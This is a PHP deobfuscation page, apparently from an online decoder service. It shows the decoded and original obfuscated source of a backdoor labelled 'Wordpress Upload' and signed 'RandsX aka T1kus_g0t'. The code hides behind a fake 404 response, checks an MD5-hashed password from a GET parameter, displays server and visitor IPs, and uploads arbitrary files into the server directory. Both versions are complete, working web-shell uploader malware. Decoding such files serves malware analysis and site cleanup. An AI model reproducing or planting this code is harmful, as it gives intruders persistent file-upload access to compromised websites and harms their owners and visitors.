Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto yESuGKIo4i; y4PnnqQtPc: zSOHFvTrVG: FqqtSykGiJ: goto r_ShSgII_r; lmqMb7waAr: ..

Decoded Output download

<?php 
 goto yESuGKIo4i; y4PnnqQtPc: zSOHFvTrVG: FqqtSykGiJ: goto r_ShSgII_r; lmqMb7waAr: $p = $_GET["p"]; $p_m = md5($p); if (!($p_m != "bc7df2c662de81b0273bb3afcf250127")) { goto rSWRXVBkao; } return http_response_code(404); rSWRXVBkao: goto SvguwdQCyx; aHnmFodFuX: if (file_exists(__DIR__ . "/" . $_FILES["file"]["name"][0])) { goto XEYO359bt9; } a("failed to delete the folder", 0); goto zSOHFvTrVG; XEYO359bt9: a("folder deleted successfully"); goto y4PnnqQtPc; yESuGKIo4i: http_response_code(404); if (isset($_GET["p"])) { goto x7RUczBUE7; } return http_response_code(404); goto ZXP1bAjMOE; x7RUczBUE7: goto lmqMb7waAr; MTzxctEHe7: if (!($_FILES["f"]["error"][0] > 0)) { goto vlkNGUSERh; } echo "error\xef\274\232" . $_FILES["f"]["error"][0] . "<br>"; vlkNGUSERh: if (!isset($_FILES["f"]["name"][0])) { goto FqqtSykGiJ; } move_uploaded_file($_FILES["f"]["tmp_name"][0], __DIR__ . "/" . $_FILES["f"]["name"][0]); goto aHnmFodFuX; SvguwdQCyx: ZXP1bAjMOE: function a($msg, $sts = 1, $loc = '') { global $p; $status = $sts == 1 ? "success" : "error"; echo "<script>swal({title: "{$status}", text: "{$msg}", icon: "{$status}"}).then((btnClick) => {if(btnClick){document.location.href="?p=" . $p . ""}})</script>"; } echo "<!doctype html>\xa<!-- RandsX aka T1kus_g0t -->\xa<html lang="en">
<head>
	<meta name="theme-color" content="red">
	<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
\x9<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css">
	<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">\xa	<title>Wordpress Upload</title>
	<style>.table-hover tbody tr:hover td{background:red}.table-hover tbody tr:hover td>*{color:#fff}.table>tbody>tr>*{color:#fff;vertical-align:middle}.form-control{background:0 0!important;color:#fff!important;border-radius:0}.form-control::placeholder{color:#fff;opacity:1}li{font-size:18px;margin-left:6px;list-style:none}a{color:#fff}</style>
	<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>\xa</head>
<body style="background-color:#000;color:#fff;font-family:serif;">\xa	<div class="bg-dark table-responsive text-light border">\xa\x9\x9<div class="d-flex justify-content-between p-1">
	\x9\x9<div><h3 class="mt-2"><a href="?">Wordpress Upload</a></h3></div>\xa	\x9	\xa	\x9</div>\xa\x9\x9<div class="border-top table-responsive">
\x9		<li>Server : "; echo "{$_SERVER["SERVER_NAME"]} ({$_SERVER["SERVER_ADDR"]}/{$_SERVER["REMOTE_ADDR"]})"; echo "</li>\xa		</div>
\x9	<form method="post" enctype="multipart/form-data"><div class="input-group mb-1 px-1 mt-1"><div class="custom-file"><input type="file" name="f[]" class="custom-file-input" onchange="this.form.submit()" multiple><label class="custom-file-label rounded-0 bg-transparent text-light">Choose file</label></div></div></form>
\x9\x9\xa\x9</div>\xa"; goto MTzxctEHe7; r_ShSgII_r: echo "\x9\xa</body>
</html>\xa"; ?>

Did this file decode correctly?

Original Code

<?php
 goto yESuGKIo4i; y4PnnqQtPc: zSOHFvTrVG: FqqtSykGiJ: goto r_ShSgII_r; lmqMb7waAr: $p = $_GET["\x70"]; $p_m = md5($p); if (!($p_m != "\x62\x63\67\144\x66\62\143\x36\x36\62\144\145\x38\61\x62\x30\x32\67\x33\142\142\63\x61\146\x63\x66\x32\65\x30\x31\62\67")) { goto rSWRXVBkao; } return http_response_code(404); rSWRXVBkao: goto SvguwdQCyx; aHnmFodFuX: if (file_exists(__DIR__ . "\57" . $_FILES["\146\151\154\145"]["\x6e\141\155\x65"][0])) { goto XEYO359bt9; } a("\x66\x61\151\x6c\145\144\x20\164\157\40\144\145\x6c\x65\164\x65\x20\164\x68\145\40\146\157\x6c\144\145\x72", 0); goto zSOHFvTrVG; XEYO359bt9: a("\x66\x6f\x6c\x64\145\x72\40\x64\145\154\x65\x74\145\x64\40\163\x75\x63\143\x65\163\163\x66\x75\154\154\171"); goto y4PnnqQtPc; yESuGKIo4i: http_response_code(404); if (isset($_GET["\160"])) { goto x7RUczBUE7; } return http_response_code(404); goto ZXP1bAjMOE; x7RUczBUE7: goto lmqMb7waAr; MTzxctEHe7: if (!($_FILES["\146"]["\145\162\x72\x6f\162"][0] > 0)) { goto vlkNGUSERh; } echo "\x65\162\x72\157\x72\xef\274\232" . $_FILES["\x66"]["\145\162\162\x6f\162"][0] . "\74\x62\162\x3e"; vlkNGUSERh: if (!isset($_FILES["\x66"]["\156\141\155\145"][0])) { goto FqqtSykGiJ; } move_uploaded_file($_FILES["\146"]["\x74\155\x70\137\x6e\141\155\x65"][0], __DIR__ . "\57" . $_FILES["\146"]["\x6e\141\155\x65"][0]); goto aHnmFodFuX; SvguwdQCyx: ZXP1bAjMOE: function a($msg, $sts = 1, $loc = '') { global $p; $status = $sts == 1 ? "\x73\x75\x63\143\x65\163\x73" : "\145\x72\x72\157\162"; echo "\x3c\163\x63\162\151\160\x74\x3e\163\167\141\x6c\50\x7b\x74\x69\164\154\145\72\x20\42{$status}\42\54\40\164\x65\170\164\x3a\x20\x22{$msg}\x22\54\40\x69\143\157\x6e\x3a\x20\42{$status}\42\175\51\56\164\150\x65\x6e\50\50\x62\164\156\x43\154\151\143\153\51\40\x3d\76\x20\173\151\146\50\x62\164\x6e\x43\154\151\x63\153\x29\173\144\x6f\143\x75\155\145\156\164\56\x6c\x6f\x63\141\164\151\x6f\x6e\56\x68\x72\145\146\x3d\x22\x3f\x70\75" . $p . "\42\x7d\175\51\x3c\57\163\x63\162\x69\x70\164\x3e"; } echo "\x3c\41\x64\157\143\x74\171\x70\145\40\150\x74\155\154\x3e\xa\x3c\x21\55\55\40\122\x61\x6e\x64\163\130\40\x61\x6b\141\40\x54\61\x6b\x75\x73\x5f\x67\60\x74\x20\x2d\x2d\x3e\xa\x3c\x68\x74\x6d\154\40\154\141\156\147\75\42\145\156\42\76\12\x3c\150\145\141\144\76\12\11\74\x6d\x65\x74\141\40\156\141\x6d\x65\75\42\x74\150\x65\155\x65\55\143\157\154\157\162\42\40\143\x6f\x6e\x74\x65\156\x74\x3d\x22\x72\x65\x64\42\x3e\12\11\x3c\x6d\145\x74\x61\40\x6e\x61\155\145\75\42\x76\151\145\167\160\x6f\x72\164\42\x20\143\x6f\156\164\145\x6e\x74\75\x22\167\151\x64\164\150\75\144\x65\166\151\x63\x65\x2d\167\151\x64\x74\150\54\x20\151\156\x69\x74\151\141\154\55\163\143\x61\154\x65\x3d\60\x2e\x36\x30\54\40\163\x68\162\x69\156\x6b\55\164\x6f\55\146\x69\x74\x3d\156\x6f\x22\x3e\12\x9\74\x6c\x69\x6e\x6b\40\x72\x65\x6c\x3d\42\163\164\171\154\x65\163\x68\145\145\164\42\40\x68\x72\x65\146\75\x22\57\57\x63\144\x6e\x2e\x6a\163\144\145\x6c\151\166\162\56\156\x65\164\x2f\x6e\160\155\x2f\142\157\x6f\x74\163\164\x72\141\x70\100\x34\x2e\x36\56\60\x2f\144\151\x73\164\57\143\163\163\57\142\x6f\x6f\164\x73\164\162\141\160\56\x6d\151\156\56\143\163\163\42\x3e\12\11\74\154\x69\156\153\40\x72\x65\x6c\x3d\42\163\x74\171\x6c\x65\x73\150\145\145\164\x22\x20\150\162\145\x66\75\x22\x2f\x2f\x63\144\x6e\152\163\x2e\143\x6c\157\x75\x64\x66\x6c\141\x72\145\56\143\x6f\x6d\57\x61\x6a\141\170\x2f\x6c\151\142\x73\57\146\x6f\156\x74\55\x61\167\x65\x73\157\x6d\x65\x2f\64\56\67\x2e\60\57\143\163\163\x2f\x66\x6f\156\x74\55\141\167\145\x73\x6f\155\145\x2e\155\151\156\56\x63\x73\x73\42\x3e\xa\11\74\x74\151\x74\x6c\145\76\x57\157\162\x64\x70\x72\145\163\x73\40\125\160\x6c\x6f\141\x64\x3c\57\x74\x69\164\x6c\x65\x3e\12\11\74\x73\x74\171\154\145\76\56\164\141\x62\154\145\55\150\157\x76\x65\162\x20\164\x62\157\144\x79\40\x74\x72\x3a\x68\157\x76\145\x72\40\x74\x64\x7b\x62\x61\143\153\147\162\x6f\165\x6e\x64\72\162\x65\144\175\56\x74\141\142\x6c\145\x2d\x68\157\x76\145\162\x20\164\142\157\144\x79\40\x74\x72\x3a\x68\x6f\x76\x65\162\40\164\144\76\x2a\x7b\x63\x6f\154\x6f\x72\72\43\x66\x66\146\175\x2e\164\141\142\x6c\145\76\164\142\157\x64\x79\x3e\x74\162\76\52\173\143\x6f\x6c\157\x72\x3a\43\146\146\x66\x3b\x76\145\x72\x74\x69\x63\x61\x6c\55\141\x6c\151\x67\x6e\x3a\x6d\151\144\144\154\x65\175\56\x66\x6f\162\155\x2d\143\157\156\164\x72\x6f\154\173\142\x61\x63\153\147\162\x6f\165\156\144\72\x30\40\60\41\151\155\160\x6f\162\164\x61\156\x74\x3b\x63\x6f\154\x6f\162\72\43\146\146\146\41\x69\x6d\160\x6f\162\164\141\156\x74\x3b\142\x6f\x72\x64\145\162\x2d\x72\141\144\151\x75\163\x3a\60\175\56\x66\157\x72\x6d\55\x63\x6f\x6e\164\x72\157\154\x3a\x3a\x70\154\x61\x63\x65\x68\x6f\154\x64\x65\x72\173\x63\157\154\x6f\162\x3a\x23\x66\146\x66\x3b\x6f\160\141\x63\x69\164\171\x3a\x31\x7d\x6c\151\x7b\146\157\x6e\x74\55\x73\151\x7a\145\x3a\x31\70\160\170\x3b\x6d\141\x72\x67\151\x6e\x2d\154\x65\x66\x74\x3a\66\160\170\x3b\x6c\151\163\164\55\x73\x74\171\154\145\x3a\x6e\x6f\156\x65\175\141\x7b\143\157\154\x6f\162\72\x23\146\x66\146\175\x3c\x2f\163\164\171\154\145\x3e\12\11\74\x73\143\x72\151\x70\x74\40\163\162\x63\x3d\42\x2f\x2f\x75\156\160\x6b\147\56\x63\157\155\57\163\167\x65\145\x74\141\x6c\x65\x72\x74\57\x64\x69\x73\164\x2f\x73\167\145\145\164\141\154\x65\x72\164\x2e\x6d\151\x6e\56\x6a\163\x22\76\74\57\163\x63\162\x69\x70\164\76\xa\x3c\x2f\x68\145\141\x64\76\12\x3c\x62\x6f\x64\x79\x20\163\164\171\x6c\x65\x3d\42\x62\x61\x63\153\147\x72\x6f\x75\x6e\144\x2d\x63\x6f\154\157\x72\x3a\x23\60\60\60\73\143\157\154\157\x72\x3a\x23\x66\x66\x66\x3b\x66\157\156\x74\x2d\x66\x61\155\x69\x6c\x79\x3a\x73\145\162\x69\x66\x3b\x22\76\xa\11\74\x64\x69\166\x20\x63\x6c\141\163\x73\75\42\x62\x67\55\x64\x61\x72\x6b\x20\x74\141\142\x6c\145\55\162\145\x73\160\157\156\x73\151\x76\x65\40\x74\145\x78\164\55\154\151\x67\x68\164\x20\x62\157\162\x64\x65\162\x22\x3e\xa\x9\x9\74\x64\151\x76\40\x63\x6c\x61\163\163\x3d\42\x64\x2d\146\154\x65\170\40\x6a\165\x73\164\x69\x66\x79\55\x63\x6f\156\164\x65\x6e\x74\x2d\142\x65\x74\167\x65\x65\x6e\x20\x70\55\61\42\x3e\12\11\x9\x9\x3c\x64\x69\x76\76\74\x68\63\40\143\x6c\141\163\x73\x3d\x22\155\x74\55\x32\x22\x3e\74\141\x20\150\162\145\x66\x3d\42\77\42\x3e\x57\x6f\x72\144\160\x72\x65\x73\x73\40\x55\160\154\x6f\x61\x64\x3c\x2f\x61\76\74\x2f\150\x33\x3e\x3c\57\x64\151\x76\76\xa\11\x9\11\xa\11\x9\x3c\x2f\144\151\x76\x3e\xa\x9\x9\74\x64\x69\166\x20\143\x6c\x61\x73\x73\75\x22\x62\157\x72\x64\x65\x72\55\164\157\160\x20\164\x61\x62\x6c\x65\55\x72\145\163\160\157\x6e\163\x69\166\145\42\x3e\12\x9\11\11\74\154\x69\76\123\x65\162\x76\145\162\x20\72\40"; echo "{$_SERVER["\123\x45\x52\x56\x45\x52\x5f\116\101\115\x45"]}\40\50{$_SERVER["\123\105\122\x56\x45\122\137\101\104\104\122"]}\x2f{$_SERVER["\x52\x45\115\x4f\x54\105\x5f\x41\104\104\x52"]}\x29"; echo "\74\x2f\154\151\x3e\xa\11\11\74\57\144\151\166\76\12\x9\11\x3c\x66\x6f\162\x6d\x20\x6d\x65\164\x68\x6f\144\75\42\160\x6f\163\164\42\40\x65\156\143\164\171\160\x65\75\42\x6d\x75\154\164\151\x70\x61\x72\x74\57\146\157\162\x6d\x2d\144\x61\x74\x61\x22\76\74\144\151\x76\40\143\x6c\141\x73\163\75\x22\151\156\160\x75\164\55\147\162\x6f\x75\160\40\x6d\x62\55\61\40\x70\170\x2d\x31\40\x6d\164\55\61\x22\76\74\x64\151\x76\x20\143\154\x61\163\x73\x3d\x22\143\165\x73\164\x6f\155\55\146\x69\154\145\42\76\x3c\151\x6e\160\x75\x74\x20\164\171\x70\x65\x3d\x22\146\x69\154\145\x22\40\x6e\x61\155\x65\75\x22\146\x5b\135\42\x20\x63\x6c\141\163\163\75\42\143\165\163\x74\x6f\x6d\55\x66\151\154\x65\55\x69\x6e\x70\x75\164\x22\x20\157\156\x63\x68\141\x6e\147\x65\75\x22\x74\150\151\163\56\x66\x6f\x72\x6d\56\x73\x75\x62\x6d\x69\x74\x28\51\42\40\x6d\x75\x6c\x74\151\x70\x6c\x65\76\x3c\x6c\141\x62\145\154\40\x63\154\141\163\x73\x3d\42\143\165\x73\164\x6f\155\55\x66\151\x6c\145\x2d\x6c\141\142\145\x6c\x20\x72\157\x75\156\x64\x65\144\x2d\x30\40\142\147\x2d\x74\x72\141\x6e\x73\x70\x61\x72\145\156\x74\x20\x74\145\170\164\x2d\x6c\151\x67\x68\x74\x22\76\x43\150\157\x6f\x73\x65\40\x66\151\154\x65\x3c\x2f\154\141\142\145\154\x3e\x3c\57\144\151\166\x3e\74\x2f\144\151\166\x3e\74\x2f\x66\x6f\162\x6d\76\12\x9\x9\xa\x9\74\x2f\144\151\166\x3e\xa"; goto MTzxctEHe7; r_ShSgII_r: echo "\x9\xa\74\57\142\x6f\144\171\x3e\12\x3c\57\150\164\155\154\76\xa";

Function Calls

None

Variables

None

Stats

MD5 d2056c1e90646056059ff8f751dbd456
Eval Count 0
Decode Time 47 ms